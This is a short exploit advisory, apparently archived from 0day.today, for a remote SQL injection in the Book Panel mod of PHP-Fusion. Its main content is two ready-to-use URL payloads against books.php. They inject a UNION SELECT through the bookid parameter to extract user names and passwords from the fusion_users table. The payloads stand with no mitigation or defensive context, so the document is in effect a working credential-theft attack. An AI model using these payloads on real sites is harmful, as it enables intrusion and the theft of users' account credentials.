PHP-Fusion Mod Book Panel (bookid) SQL Injection Vulnerability

==============================================================
PHP-Fusion Mod Book Panel (bookid) SQL Injection Vulnerability
==============================================================



/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\
+                                                                                                                       +
+  |----------------------------------------------------------------|                                                   +
+  | PHP-Fusion Mod - Book Panel Remote SQL Injection Vulnerability |                                                   +
+  |----------------------------------------------------------------|                                                   +
+                                                                                                                       +
+   [-] ...Cos co robie z czystej pasji, cos co lubie i czym sie fascynuje :-)                                          +
+                                                                                                                       +
+  |--------------------------------|                                                                                   +
+  | Author: elusiven from Poland ! |                                                                                   +                                                                                +
+  | Greetings: Fusi0n Group        |                                                                                   +
+  |--------------------------------|                                                                                   +
+                                                                                                                       +
+   Exploit:                                                                                                            +
+                                                                                                                       +
+   http://site.com/[path]/book_panel/books.php?&bookid=-1+union+select+1,2,user_name,4,5,6+from+fusion_users--         +
+   http://site.com/[path]/book_panel/books.php?&bookid=-1+union+select+1,2,user_password,4,5,6+from+fusion_users--     +
+                                                                                                                       +
\+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/




#  0day.today [2018-01-03]  #